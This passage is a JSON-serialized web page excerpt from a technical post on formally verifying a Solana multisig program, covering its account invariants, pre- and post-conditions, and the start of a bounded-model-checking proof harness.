u16",{"type":25,"tag":271,"props":34152,"children":34153},{"style":13603},[34154],{"type":30,"value":13617},{"type":25,"tag":271,"props":34156,"children":34157},{"style":13609},[34158],{"type":30,"value":34159},"MAX",{"type":25,"tag":271,"props":34161,"children":34162},{"style":14289},[34163],{"type":30,"value":21948},{"type":25,"tag":271,"props":34165,"children":34166},{"style":13609},[34167],{"type":30,"value":26854},{"type":25,"tag":271,"props":34169,"children":34170},{"style":13625},[34171],{"type":30,"value":16299},{"type":25,"tag":271,"props":34173,"children":34174},{"class":13593,"line":14400},[34175,34179,34183,34187,34192,34196],{"type":25,"tag":271,"props":34176,"children":34177},{"style":13603},[34178],{"type":30,"value":28743},{"type":25,"tag":271,"props":34180,"children":34181},{"style":13625},[34182],{"type":30,"value":34124},{"type":25,"tag":271,"props":34184,"children":34185},{"style":13603},[34186],{"type":30,"value":1860},{"type":25,"tag":271,"props":34188,"children":34189},{"style":13625},[34190],{"type":30,"value":34191},"threshold ",{"type":25,"tag":271,"props":34193,"children":34194},{"style":13603},[34195],{"type":30,"value":23067},{"type":25,"tag":271,"props":34197,"children":34198},{"style":13625},[34199],{"type":30,"value":34200}," 1)\n",{"type":25,"tag":271,"props":34202,"children":34203},{"class":13593,"line":16406},[34204,34208,34212,34216,34220,34224,34228,34232,34236,34240,34244,34248],{"type":25,"tag":271,"props":34205,"children":34206},{"style":13603},[34207],{"type":30,"value":28743},{"type":25,"tag":271,"props":34209,"children":34210},{"style":13625},[34211],{"type":30,"value":34124},{"type":25,"tag":271,"props":34213,"children":34214},{"style":13603},[34215],{"type":30,"value":1860},{"type":25,"tag":271,"props":34217,"children":34218},{"style":13625},[34219],{"type":30,"value":34191},{"type":25,"tag":271,"props":34221,"children":34222},{"style":14289},[34223],{"type":30,"value":21962},{"type":25,"tag":271,"props":34225,"children":34226},{"style":13609},[34227],{"type":30,"value":26854},{"type":25,"tag":271,"props":34229,"children":34230},{"style":13603},[34231],{"type":30,"value":21318},{"type":25,"tag":271,"props":34233,"children":34234},{"style":13625},[34235],{"type":30,"value":26918},{"type":25,"tag":271,"props":34237,"children":34238},{"style":13603},[34239],{"type":30,"value":1860},{"type":25,"tag":271,"props":34241,"children":34242},{"style":13625},[34243],{"type":30,"value":34103},{"type":25,"tag":271,"props":34245,"children":34246},{"style":13603},[34247],{"type":30,"value":1860},{"type":25,"tag":271,"props":34249,"children":34250},{"style":13625},[34251],{"type":30,"value":34252},"len())\n",{"type":25,"tag":271,"props":34254,"children":34255},{"class":13593,"line":16434},[34256],{"type":25,"tag":271,"props":34257,"children":34258},{"style":13625},[34259],{"type":30,"value":33379},{"type":25,"tag":271,"props":34261,"children":34262},{"class":13593,"line":16447},[34263,34267,34272,34277],{"type":25,"tag":271,"props":34264,"children":34265},{"style":14289},[34266],{"type":30,"value":14292},{"type":25,"tag":271,"props":34268,"children":34269},{"style":14289},[34270],{"type":30,"value":34271}," struct",{"type":25,"tag":271,"props":34273,"children":34274},{"style":13609},[34275],{"type":30,"value":34276}," Ms",{"type":25,"tag":271,"props":34278,"children":34279},{"style":13625},[34280],{"type":30,"value":16431},{"type":25,"tag":271,"props":34282,"children":34283},{"class":13593,"line":16465},[34284,34288,34293,34297,34301,34306],{"type":25,"tag":271,"props":34285,"children":34286},{"style":14289},[34287],{"type":30,"value":33963},{"type":25,"tag":271,"props":34289,"children":34290},{"style":13598},[34291],{"type":30,"value":34292}," threshold",{"type":25,"tag":271,"props":34294,"children":34295},{"style":13603},[34296],{"type":30,"value":359},{"type":25,"tag":271,"props":34298,"children":34299},{"style":13609},[34300],{"type":30,"value":34150},{"type":25,"tag":271,"props":34302,"children":34303},{"style":13625},[34304],{"type":30,"value":34305},",               ",{"type":25,"tag":271,"props":34307,"children":34308},{"style":14385},[34309],{"type":30,"value":34310},"// threshold for signatures\n",{"type":25,"tag":271,"props":34312,"children":34313},{"class":13593,"line":16486},[34314,34318,34323,34327,34331,34336],{"type":25,"tag":271,"props":34315,"children":34316},{"style":14289},[34317],{"type":30,"value":33963},{"type":25,"tag":271,"props":34319,"children":34320},{"style":13598},[34321],{"type":30,"value":34322}," authority_index",{"type":25,"tag":271,"props":34324,"children":34325},{"style":13603},[34326],{"type":30,"value":359},{"type":25,"tag":271,"props":34328,"children":34329},{"style":13609},[34330],{"type":30,"value":34150},{"type":25,"tag":271,"props":34332,"children":34333},{"style":13625},[34334],{"type":30,"value":34335},",         ",{"type":25,"tag":271,"props":34337,"children":34338},{"style":14385},[34339],{"type":30,"value":34340},"// index to seed other authorities under this multisig\n",{"type":25,"tag":271,"props":34342,"children":34343},{"class":13593,"line":16495},[34344,34348,34353,34357,34361,34366],{"type":25,"tag":271,"props":34345,"children":34346},{"style":14289},[34347],{"type":30,"value":33963},{"type":25,"tag":271,"props":34349,"children":34350},{"style":13598},[34351],{"type":30,"value":34352}," transaction_index",{"type":25,"tag":271,"props":34354,"children":34355},{"style":13603},[34356],{"type":30,"value":359},{"type":25,"tag":271,"props":34358,"children":34359},{"style":13609},[34360],{"type":30,"value":30671},{"type":25,"tag":271,"props":34362,"children":34363},{"style":13625},[34364],{"type":30,"value":34365},",       ",{"type":25,"tag":271,"props":34367,"children":34368},{"style":14385},[34369],{"type":30,"value":34370},"// look up and seed reference for transactions\n",{"type":25,"tag":271,"props":34372,"children":34373},{"class":13593,"line":16744},[34374,34378,34383,34387,34391,34395],{"type":25,"tag":271,"props":34375,"children":34376},{"style":14289},[34377],{"type":30,"value":33963},{"type":25,"tag":271,"props":34379,"children":34380},{"style":13598},[34381],{"type":30,"value":34382}," ms_change_index",{"type":25,"tag":271,"props":34384,"children":34385},{"style":13603},[34386],{"type":30,"value":359},{"type":25,"tag":271,"props":34388,"children":34389},{"style":13609},[34390],{"type":30,"value":30671},{"type":25,"tag":271,"props":34392,"children":34393},{"style":13625},[34394],{"type":30,"value":34335},{"type":25,"tag":271,"props":34396,"children":34397},{"style":14385},[34398],{"type":30,"value":34399},"// the last executed/closed transaction\n",{"type":25,"tag":271,"props":34401,"children":34402},{"class":13593,"line":16761},[34403,34407,34412,34416,34420,34425],{"type":25,"tag":271,"props":34404,"children":34405},{"style":14289},[34406],{"type":30,"value":33963},{"type":25,"tag":271,"props":34408,"children":34409},{"style":13598},[34410],{"type":30,"value":34411}," bump",{"type":25,"tag":271,"props":34413,"children":34414},{"style":13603},[34415],{"type":30,"value":359},{"type":25,"tag":271,"props":34417,"children":34418},{"style":13609},[34419],{"type":30,"value":27755},{"type":25,"tag":271,"props":34421,"children":34422},{"style":13625},[34423],{"type":30,"value":34424},",                     ",{"type":25,"tag":271,"props":34426,"children":34427},{"style":14385},[34428],{"type":30,"value":34429},"// bump for the multisig seed\n",{"type":25,"tag":271,"props":34431,"children":34432},{"class":13593,"line":16778},[34433,34437,34442,34446,34450,34455],{"type":25,"tag":271,"props":34434,"children":34435},{"style":14289},[34436],{"type":30,"value":33963},{"type":25,"tag":271,"props":34438,"children":34439},{"style":13598},[34440],{"type":30,"value":34441}," create_key",{"type":25,"tag":271,"props":34443,"children":34444},{"style":13603},[34445],{"type":30,"value":359},{"type":25,"tag":271,"props":34447,"children":34448},{"style":13609},[34449],{"type":30,"value":33977},{"type":25,"tag":271,"props":34451,"children":34452},{"style":13625},[34453],{"type":30,"value":34454},",           ",{"type":25,"tag":271,"props":34456,"children":34457},{"style":14385},[34458],{"type":30,"value":34459},"// random key(or not) used to seed the multisig pda\n",{"type":25,"tag":271,"props":34461,"children":34462},{"class":13593,"line":16791},[34463,34467,34472,34476,34480,34484],{"type":25,"tag":271,"props":34464,"children":34465},{"style":14289},[34466],{"type":30,"value":33963},{"type":25,"tag":271,"props":34468,"children":34469},{"style":13598},[34470],{"type":30,"value":34471}," allow_external_execute",{"type":25,"tag":271,"props":34473,"children":34474},{"style":13603},[34475],{"type":30,"value":359},{"type":25,"tag":271,"props":34477,"children":34478},{"style":13609},[34479],{"type":30,"value":25175},{"type":25,"tag":271,"props":34481,"children":34482},{"style":13625},[34483],{"type":30,"value":44},{"type":25,"tag":271,"props":34485,"children":34486},{"style":14385},[34487],{"type":30,"value":34488},"// allow non-member keys to execute txs\n",{"type":25,"tag":271,"props":34490,"children":34491},{"class":13593,"line":16800},[34492,34496,34501,34505,34510,34514,34519,34524],{"type":25,"tag":271,"props":34493,"children":34494},{"style":14289},[34495],{"type":30,"value":33963},{"type":25,"tag":271,"props":34497,"children":34498},{"style":13598},[34499],{"type":30,"value":34500}," keys",{"type":25,"tag":271,"props":34502,"children":34503},{"style":13603},[34504],{"type":30,"value":359},{"type":25,"tag":271,"props":34506,"children":34507},{"style":13609},[34508],{"type":30,"value":34509}," Vec",{"type":25,"tag":271,"props":34511,"children":34512},{"style":13625},[34513],{"type":30,"value":14307},{"type":25,"tag":271,"props":34515,"children":34516},{"style":13609},[34517],{"type":30,"value":34518},"Pubkey",{"type":25,"tag":271,"props":34520,"children":34521},{"style":13625},[34522],{"type":30,"value":34523},">,            ",{"type":25,"tag":271,"props":34525,"children":34526},{"style":14385},[34527],{"type":30,"value":34528},"// keys of the members\n",{"type":25,"tag":271,"props":34530,"children":34531},{"class":13593,"line":16823},[34532],{"type":25,"tag":271,"props":34533,"children":34534},{"style":13625},[34535],{"type":30,"value":17058},{"type":25,"tag":26,"props":34537,"children":34538},{},[34539],{"type":30,"value":34540},"Here we are verifying multiple things at once:",{"type":25,"tag":108,"props":34542,"children":34543},{},[34544,34555,34566,34577],{"type":25,"tag":112,"props":34545,"children":34546},{},[34547,34553],{"type":25,"tag":264,"props":34548,"children":34550},{"className":34549},[],[34551],{"type":30,"value":34552},"!self.keys.is_empty()",{"type":30,"value":34554}," : ensure there is at least one member",{"type":25,"tag":112,"props":34556,"children":34557},{},[34558,34564],{"type":25,"tag":264,"props":34559,"children":34561},{"className":34560},[],[34562],{"type":30,"value":34563},"self.keys.len() \u003C= u16::MAX as usize",{"type":30,"value":34565}," : set an upper limit of 65535 members",{"type":25,"tag":112,"props":34567,"children":34568},{},[34569,34575],{"type":25,"tag":264,"props":34570,"children":34572},{"className":34571},[],[34573],{"type":30,"value":34574},"self.threshold >= 1",{"type":30,"value":34576}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":25,"tag":112,"props":34578,"children":34579},{},[34580,34586],{"type":25,"tag":264,"props":34581,"children":34583},{"className":34582},[],[34584],{"type":30,"value":34585},"self.threshold as usize \u003C= self.keys.len()",{"type":30,"value":34587}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":25,"tag":96,"props":34589,"children":34591},{"id":34590},"verification-how-do-we-check-that-our-model-is-correct",[34592],{"type":30,"value":34593},"Verification: How do we check that our model is correct?",{"type":25,"tag":26,"props":34595,"children":34596},{},[34597,34599,34603,34605,34610],{"type":30,"value":34598},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":25,"tag":10281,"props":34600,"children":34601},{},[34602],{"type":30,"value":33090},{"type":30,"value":34604}," on which we can run bounded model checking. Our tool does this ",{"type":25,"tag":10281,"props":34606,"children":34607},{},[34608],{"type":30,"value":34609},"automagically",{"type":30,"value":34611}," for anchor-lang programs.",{"type":25,"tag":26,"props":34613,"children":34614},{},[34615,34617,34623,34625,34630,34632,34637,34638,34643,34645,34650,34652,34657,34658,34664,34666,34672,34673,34679],{"type":30,"value":34616},"Specifically, for a given ",{"type":25,"tag":264,"props":34618,"children":34620},{"className":34619},[],[34621],{"type":30,"value":34622},"Context\u003CT>",{"type":30,"value":34624}," with ",{"type":25,"tag":10281,"props":34626,"children":34627},{},[34628],{"type":30,"value":34629},"incoming",{"type":30,"value":34631}," accounts of types (",{"type":25,"tag":264,"props":34633,"children":34635},{"className":34634},[],[34636],{"type":30,"value":33861},{"type":30,"value":7621},{"type":25,"tag":264,"props":34639,"children":34641},{"className":34640},[],[34642],{"type":30,"value":16877},{"type":30,"value":34644},") and ",{"type":25,"tag":10281,"props":34646,"children":34647},{},[34648],{"type":30,"value":34649},"outgoing",{"type":30,"value":34651}," accounts of type (",{"type":25,"tag":264,"props":34653,"children":34655},{"className":34654},[],[34656],{"type":30,"value":16877},{"type":30,"value":7621},{"type":25,"tag":264,"props":34659,"children":34661},{"className":34660},[],[34662],{"type":30,"value":34663},"close",{"type":30,"value":34665},") we define a ",{"type":25,"tag":264,"props":34667,"children":34669},{"className":34668},[],[34670],{"type":30,"value":34671},"pre_condition",{"type":30,"value":12218},{"type":25,"tag":264,"props":34674,"children":34676},{"className":34675},[],[34677],{"type":30,"value":34678},"post_condition",{"type":30,"value":34680}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":25,"tag":26,"props":34682,"children":34683},{},[34684],{"type":25,"tag":264,"props":34685,"children":34687},{"className":34686},[267,268],[34688],{"type":25,"tag":271,"props":34689,"children":34691},{"className":34690},[274],[34692],{"type":25,"tag":271,"props":34693,"children":34695},{"className":34694,"ariaHidden":280},[279],[34696,34728],{"type":25,"tag":271,"props":34697,"children":34699},{"className":34698},[285],[34700,34704,34709,34714,34718,34724],{"type":25,"tag":271,"props":34701,"children":34703},{"className":34702,"style":291},[290],[],{"type":25,"tag":271,"props":34705,"children":34707},{"className":34706,"style":298},[296,297],[34708],{"type":30,"value":400},{"type":25,"tag":271,"props":34710,"children":34712},{"className":34711},[296],[34713],{"type":30,"value":953},{"type":25,"tag":271,"props":34715,"children":34717},{"className":34716,"style":338},[337],[],{"type":25,"tag":271,"props":34719,"children":34721},{"className":34720},[356],[34722],{"type":30,"value":34723},":=",{"type":25,"tag":271,"props":34725,"children":34727},{"className":34726,"style":338},[337],[],{"type":25,"tag":271,"props":34729,"children":34731},{"className":34730},[285],[34732,34736,34862,34866],{"type":25,"tag":271,"props":34733,"children":34735},{"className":34734,"style":1077},[290],[],{"type":25,"tag":271,"props":34737,"children":34739},{"className":34738},[1082],[34740,34746],{"type":25,"tag":271,"props":34741,"children":34743},{"className":34742,"style":1089},[1082,1087,1088],[34744],{"type":30,"value":34745},"⋀",{"type":25,"tag":271,"props":34747,"children":34749},{"className":34748},[982],[34750],{"type":25,"tag":271,"props":34751,"children":34753},{"className":34752},[987,1100],[34754,34851],{"type":25,"tag":271,"props":34755,"children":34757},{"className":34756},[992],[34758,34846],{"type":25,"tag":271,"props":34759,"children":34761},{"className":34760,"style":1109},[997],[34762],{"type":25,"tag":271,"props":34763,"children":34764},{"style":1113},[34765,34769],{"type":25,"tag":271,"props":34766,"children":34768},{"className":34767,"style":1008},[1007],[],{"type":25,"tag":271,"props":34770,"children":34772},{"className":34771},[1013,1014,1015,1016],[34773],{"type":25,"tag":271,"props":34774,"children":34776},{"className":34775},[296,1016],[34777,34782,34788,34798,34803,34812,34821,34826,34831,34836,34841],{"type":25,"tag":271,"props":34778,"children":34780},{"className":34779},[296,297,1016],[34781],{"type":30,"value":83},{"type":25,"tag":271,"props":34783,"children":34785},{"className":34784},[296,297,1016],[34786],{"type":30,"value":34787},"cc",{"type":25,"tag":271,"props":34789,"children":34791},{"className":34790},[337,1016],[34792],{"type":25,"tag":271,"props":34793,"children":34795},{"className":34794},[1016],[34796],{"type":30,"value":34797}," ",{"type":25,"tag":271,"props":34799,"children":34801},{"className":34800},[356,1016],[34802],{"type":30,"value":1198},{"type":25,"tag":271,"props":34804,"children":34806},{"className":34805},[337,1016],[34807],{"type":25,"tag":271,"props":34808,"children":34810},{"className":34809},[1016],[34811],{"type":30,"value":34797},{"type":25,"tag":271,"props":34813,"children":34815},{"className":34814},[296,30,1016],[34816],{"type":25,"tag":271,"props":34817,"children":34819},{"className":34818},[296,1016],[34820],{"type":30,"value":34629},{"type":25,"tag":271,"props":34822,"children":34824},{"className":34823},[391,1016],[34825],{"type":30,"value":394},{"type":25,"tag":271,"props":34827,"children":34829},{"className":34828},[296,297,1016],[34830],{"type":30,"value":13243},{"type":25,"tag":271,"props":34832,"children":34834},{"className":34833},[296,297,1016],[34835],{"type":30,"value":6292},{"type":25,"tag":271,"props":34837,"children":34839},{"className":34838},[296,297,1016],[34840],{"type":30,"value":1136},{"type":25,"tag":271,"props":34842,"children":34844},{"className":34843},[437,1016],[34845],{"type":30,"value":440},{"type":25,"tag":271,"props":34847,"children":34849},{"className":34848},[1177],[34850],{"type":30,"value":1180},{"type":25,"tag":271,"props":34852,"children":34854},{"className":34853},[992],[34855],{"type":25,"tag":271,"props":34856,"children":34858},{"className":34857,"style":1236},[997],[34859],{"type":25,"tag":271,"props":34860,"children":34861},{},[],{"type":25,"tag":271,"props":34863,"children":34865},{"className":34864,"style":411},[337],[],{"type":25,"tag":271,"props":34867,"children":34869},{"className":34868},[296],[34870,34880,34885,34890,34895],{"type":25,"tag":271,"props":34871,"children":34873},{"className":34872},[296,30],[34874],{"type":25,"tag":271,"props":34875,"children":34877},{"className":34876},[296],[34878],{"type":30,"value":34879},"invariant",{"type":25,"tag":271,"props":34881,"children":34883},{"className":34882},[391],[34884],{"type":30,"value":394},{"type":25,"tag":271,"props":34886,"children":34888},{"className":34887},[296,297],[34889],{"type":30,"value":83},{"type":25,"tag":271,"props":34891,"children":34893},{"className":34892},[296,297],[34894],{"type":30,"value":34787},{"type":25,"tag":271,"props":34896,"children":34898},{"className":34897},[437],[34899],{"type":30,"value":440},{"type":25,"tag":26,"props":34901,"children":34902},{},[34903],{"type":25,"tag":264,"props":34904,"children":34906},{"className":34905},[267,268],[34907],{"type":25,"tag":271,"props":34908,"children":34910},{"className":34909},[274],[34911],{"type":25,"tag":271,"props":34912,"children":34914},{"className":34913,"ariaHidden":280},[279],[34915,34946],{"type":25,"tag":271,"props":34916,"children":34918},{"className":34917},[285],[34919,34923,34928,34933,34937,34942],{"type":25,"tag":271,"props":34920,"children":34922},{"className":34921,"style":291},[290],[],{"type":25,"tag":271,"props":34924,"children":34926},{"className":34925,"style":298},[296,297],[34927],{"type":30,"value":400},{"type":25,"tag":271,"props":34929,"children":34931},{"className":34930},[296],[34932],{"type":30,"value":968},{"type":25,"tag":271,"props":34934,"children":34936},{"className":34935,"style":338},[337],[],{"type":25,"tag":271,"props":34938,"children":34940},{"className":34939},[356],[34941],{"type":30,"value":34723},{"type":25,"tag":271,"props":34943,"children":34945},{"className":34944,"style":338},[337],[],{"type":25,"tag":271,"props":34947,"children":34949},{"className":34948},[285],[34950,34954,35077,35081],{"type":25,"tag":271,"props":34951,"children":34953},{"className":34952,"style":1077},[290],[],{"type":25,"tag":271,"props":34955,"children":34957},{"className":34956},[1082],[34958,34963],{"type":25,"tag":271,"props":34959,"children":34961},{"className":34960,"style":1089},[1082,1087,1088],[34962],{"type":30,"value":34745},{"type":25,"tag":271,"props":34964,"children":34966},{"className":34965},[982],[34967],{"type":25,"tag":271,"props":34968,"children":34970},{"className":34969},[987,1100],[34971,35066],{"type":25,"tag":271,"props":34972,"children":34974},{"className":34973},[992],[34975,35061],{"type":25,"tag":271,"props":34976,"children":34978},{"className":34977,"style":1109},[997],[34979],{"type":25,"tag":271,"props":34980,"children":34981},{"style":1113},[34982,34986],{"type":25,"tag":271,"props":34983,"children":34985},{"className":34984,"style":1008},[1007],[],{"type":25,"tag":271,"props":34987,"children":34989},{"className":34988},[1013,1014,1015,1016],[34990],{"type":25,"tag":271,"props":34991,"children":34993},{"className":34992},[296,1016],[34994,34999,35004,35013,35018,35027,35036,35041,35046,35051,35056],{"type":25,"tag":271,"props":34995,"children":34997},{"className":34996},[296,297,1016],[34998],{"type":30,"value":83},{"type":25,"tag":271,"props":35000,"children":35002},{"className":35001},[296,297,1016],[35003],{"type":30,"value":34787},{"type":25,"tag":271,"props":35005,"children":35007},{"className":35006},[337,1016],[35008],{"type":25,"tag":271,"props":35009,"children":35011},{"className":35010},[1016],[35012],{"type":30,"value":34797},{"type":25,"tag":271,"props":35014,"children":35016},{"className":35015},[356,1016],[35017],{"type":30,"value":1198},{"type":25,"tag":271,"props":35019,"children":35021},{"className":35020},[337,1016],[35022],{"type":25,"tag":271,"props":35023,"children":35025},{"className":35024},[1016],[35026],{"type":30,"value":34797},{"type":25,"tag":271,"props":35028,"children":35030},{"className":35029},[296,30,1016],[35031],{"type":25,"tag":271,"props":35032,"children":35034},{"className":35033},[296,1016],[35035],{"type":30,"value":34649},{"type":25,"tag":271,"props":35037,"children":35039},{"className":35038},[391,1016],[35040],{"type":30,"value":394},{"type":25,"tag":271,"props":35042,"children":35044},{"className":35043},[296,297,1016],[35045],{"type":30,"value":13243},{"type":25,"tag":271,"props":35047,"children":35049},{"className":35048},[296,297,1016],[35050],{"type":30,"value":6292},{"type":25,"tag":271,"props":35052,"children":35054},{"className":35053},[296,297,1016],[35055],{"type":30,"value":1136},{"type":25,"tag":271,"props":35057,"children":35059},{"className":35058},[437,1016],[35060],{"type":30,"value":440},{"type":25,"tag":271,"props":35062,"children":35064},{"className":35063},[1177],[35065],{"type":30,"value":1180},{"type":25,"tag":271,"props":35067,"children":35069},{"className":35068},[992],[35070],{"type":25,"tag":271,"props":35071,"children":35073},{"className":35072,"style":1236},[997],[35074],{"type":25,"tag":271,"props":35075,"children":35076},{},[],{"type":25,"tag":271,"props":35078,"children":35080},{"className":35079,"style":411},[337],[],{"type":25,"tag":271,"props":35082,"children":35084},{"className":35083},[296],[35085,35094,35099,35104,35109],{"type":25,"tag":271,"props":35086,"children":35088},{"className":35087},[296,30],[35089],{"type":25,"tag":271,"props":35090,"children":35092},{"className":35091},[296],[35093],{"type":30,"value":34879},{"type":25,"tag":271,"props":35095,"children":35097},{"className":35096},[391],[35098],{"type":30,"value":394},{"type":25,"tag":271,"props":35100,"children":35102},{"className":35101},[296,297],[35103],{"type":30,"value":83},{"type":25,"tag":271,"props":35105,"children":35107},{"className":35106},[296,297],[35108],{"type":30,"value":34787},{"type":25,"tag":271,"props":35110,"children":35112},{"className":35111},[437],[35113],{"type":30,"value":440},{"type":25,"tag":26,"props":35115,"children":35116},{},[35117],{"type":30,"value":35118},"Our instruction invariants are represented as:",{"type":25,"tag":108,"props":35120,"children":35121},{},[35122,35158],{"type":25,"tag":112,"props":35123,"children":35124},{},[35125,35152,35153],{"type":25,"tag":264,"props":35126,"children":35128},{"className":35127},[267,268],[35129],{"type":25,"tag":271,"props":35130,"children":35132},{"className":35131},[274],[35133],{"type":25,"tag":271,"props":35134,"children":35136},{"className":35135,"ariaHidden":280},[279],[35137],{"type":25,"tag":271,"props":35138,"children":35140},{"className":35139},[285],[35141,35145],{"type":25,"tag":271,"props":35142,"children":35144},{"className":35143,"style":291},[290],[],{"type":25,"tag":271,"props":35146,"children":35149},{"className":35147,"style":35148},[296,297],"margin-right:0.05764em;",[35150],{"type":30,"value":35151},"S",{"type":30,"value":28453},{"type":25,"tag":264,"props":35154,"children":35156},{"className":35155},[],[35157],{"type":30,"value":33275},{"type":25,"tag":112,"props":35159,"children":35160},{},[35161,35187,35188],{"type":25,"tag":264,"props":35162,"children":35164},{"className":35163},[267,268],[35165],{"type":25,"tag":271,"props":35166,"children":35168},{"className":35167},[274],[35169],{"type":25,"tag":271,"props":35170,"children":35172},{"className":35171,"ariaHidden":280},[279],[35173],{"type":25,"tag":271,"props":35174,"children":35176},{"className":35175},[285],[35177,35181],{"type":25,"tag":271,"props":35178,"children":35180},{"className":35179,"style":291},[290],[],{"type":25,"tag":271,"props":35182,"children":35184},{"className":35183,"style":35148},[296,297],[35185],{"type":30,"value":35186},"E",{"type":30,"value":28453},{"type":25,"tag":264,"props":35189,"children":35191},{"className":35190},[],[35192],{"type":30,"value":33282},{"type":25,"tag":26,"props":35194,"children":35195},{},[35196,35198,35224,35226,35231,35233,35239],{"type":30,"value":35197},"And ",{"type":25,"tag":264,"props":35199,"children":35201},{"className":35200},[267,268],[35202],{"type":25,"tag":271,"props":35203,"children":35205},{"className":35204},[274],[35206],{"type":25,"tag":271,"props":35207,"children":35209},{"className":35208,"ariaHidden":280},[279],[35210],{"type":25,"tag":271,"props":35211,"children":35213},{"className":35212},[285],[35214,35218],{"type":25,"tag":271,"props":35215,"children":35217},{"className":35216,"style":291},[290],[],{"type":25,"tag":271,"props":35219,"children":35221},{"className":35220,"style":8574},[296,297],[35222],{"type":30,"value":35223},"K",{"type":30,"value":35225}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":25,"tag":264,"props":35227,"children":35229},{"className":35228},[],[35230],{"type":30,"value":33610},{"type":30,"value":35232}," not an ",{"type":25,"tag":264,"props":35234,"children":35236},{"className":35235},[],[35237],{"type":30,"value":35238},"Err",{"type":30,"value":13677},{"type":25,"tag":26,"props":35241,"children":35242},{},[35243],{"type":30,"value":35244},"In order to verify these conditions we need to verify three cases:",{"type":25,"tag":247,"props":35246,"children":35248},{"id":35247},"account-invariants-1",[35249],{"type":30,"value":35250},"Account invariants",{"type":25,"tag":26,"props":35252,"children":35253},{},[35254,35256,35287,35289,35319,35321,35351],{"type":30,"value":35255},"After we execute an instruction, either the function should error and be reverted (",{"type":25,"tag":264,"props":35257,"children":35259},{"className":35258},[267,268],[35260],{"type":25,"tag":271,"props":35261,"children":35263},{"className":35262},[274],[35264],{"type":25,"tag":271,"props":35265,"children":35267},{"className":35266,"ariaHidden":280},[279],[35268],{"type":25,"tag":271,"props":35269,"children":35271},{"className":35270},[285],[35272,35276,35282],{"type":25,"tag":271,"props":35273,"children":35275},{"className":35274,"style":291},[290],[],{"type":25,"tag":271,"props":35277,"children":35279},{"className":35278},[296],[35280],{"type":30,"value":35281},"¬",{"type":25,"tag":271,"props":35283,"children":35285},{"className":35284,"style":8574},[296,297],[35286],{"type":30,"value":35223},{"type":30,"value":35288},") or the account post-invariants should hold (",{"type":25,"tag":264,"props":35290,"children":35292},{"className":35291},[267,268],[35293],{"type":25,"tag":271,"props":35294,"children":35296},{"className":35295},[274],[35297],{"type":25,"tag":271,"props":35298,"children":35300},{"className":35299,"ariaHidden":280},[279],[35301],{"type":25,"tag":271,"props":35302,"children":35304},{"className":35303},[285],[35305,35309,35314],{"type":25,"tag":271,"props":35306,"children":35308},{"className":35307,"style":291},[290],[],{"type":25,"tag":271,"props":35310,"children":35312},{"className":35311,"style":298},[296,297],[35313],{"type":30,"value":400},{"type":25,"tag":271,"props":35315,"children":35317},{"className":35316},[296],[35318],{"type":30,"value":968},{"type":30,"value":35320},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":25,"tag":264,"props":35322,"children":35324},{"className":35323},[267,268],[35325],{"type":25,"tag":271,"props":35326,"children":35328},{"className":35327},[274],[35329],{"type":25,"tag":271,"props":35330,"children":35332},{"className":35331,"ariaHidden":280},[279],[35333],{"type":25,"tag":271,"props":35334,"children":35336},{"className":35335},[285],[35337,35341,35346],{"type":25,"tag":271,"props":35338,"children":35340},{"className":35339,"style":291},[290],[],{"type":25,"tag":271,"props":35342,"children":35344},{"className":35343,"style":298},[296,297],[35345],{"type":30,"value":400},{"type":25,"tag":271,"props":35347,"children":35349},{"className":35348},[296],[35350],{"type":30,"value":953},{"type":30,"value":35352},") should hold since we will verify all of the functions eventually.",{"type":25,"tag":26,"props":35354,"children":35355},{},[35356,35358],{"type":30,"value":35357},"So we are trying to prove that ",{"type":25,"tag":264,"props":35359,"children":35361},{"className":35360},[267,268],[35362],{"type":25,"tag":271,"props":35363,"children":35365},{"className":35364},[274],[35366],{"type":25,"tag":271,"props":35367,"children":35369},{"className":35368,"ariaHidden":280},[279],[35370,35407,35438],{"type":25,"tag":271,"props":35371,"children":35373},{"className":35372},[285],[35374,35378,35383,35388,35393,35397,35403],{"type":25,"tag":271,"props":35375,"children":35377},{"className":35376,"style":375},[290],[],{"type":25,"tag":271,"props":35379,"children":35381},{"className":35380},[391],[35382],{"type":30,"value":394},{"type":25,"tag":271,"props":35384,"children":35386},{"className":35385,"style":298},[296,297],[35387],{"type":30,"value":400},{"type":25,"tag":271,"props":35389,"children":35391},{"className":35390},[296],[35392],{"type":30,"value":953},{"type":25,"tag":271,"props":35394,"children":35396},{"className":35395,"style":2066},[337],[],{"type":25,"tag":271,"props":35398,"children":35400},{"className":35399},[2071],[35401],{"type":30,"value":35402},"∧",{"type":25,"tag":271,"props":35404,"children":35406},{"className":35405,"style":2066},[337],[],{"type":25,"tag":271,"props":35408,"children":35410},{"className":35409},[285],[35411,35415,35420,35425,35429,35434],{"type":25,"tag":271,"props":35412,"children":35414},{"className":35413,"style":375},[290],[],{"type":25,"tag":271,"props":35416,"children":35418},{"className":35417,"style":8574},[296,297],[35419],{"type":30,"value":35223},{"type":25,"tag":271,"props":35421,"children":35423},{"className":35422},[437],[35424],{"type":30,"value":440},{"type":25,"tag":271,"props":35426,"children":35428},{"className":35427,"style":338},[337],[],{"type":25,"tag":271,"props":35430,"children":35432},{"className":35431},[356],[35433],{"type":30,"value":450},{"type":25,"tag":271,"props":35435,"children":35437},{"className":35436,"style":338},[337],[],{"type":25,"tag":271,"props":35439,"children":35441},{"className":35440},[285],[35442,35446,35451],{"type":25,"tag":271,"props":35443,"children":35445},{"className":35444,"style":291},[290],[],{"type":25,"tag":271,"props":35447,"children":35449},{"className":35448,"style":298},[296,297],[35450],{"type":30,"value":400},{"type":25,"tag":271,"props":35452,"children":35454},{"className":35453},[296],[35455],{"type":30,"value":968},{"type":25,"tag":26,"props":35457,"children":35458},{},[35459],{"type":30,"value":35460},"We can construct a proof harness like the following:",{"type":25,"tag":7764,"props":35462,"children":35464},{"code":35463,"language":32581,"meta":7,"className":32582,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || 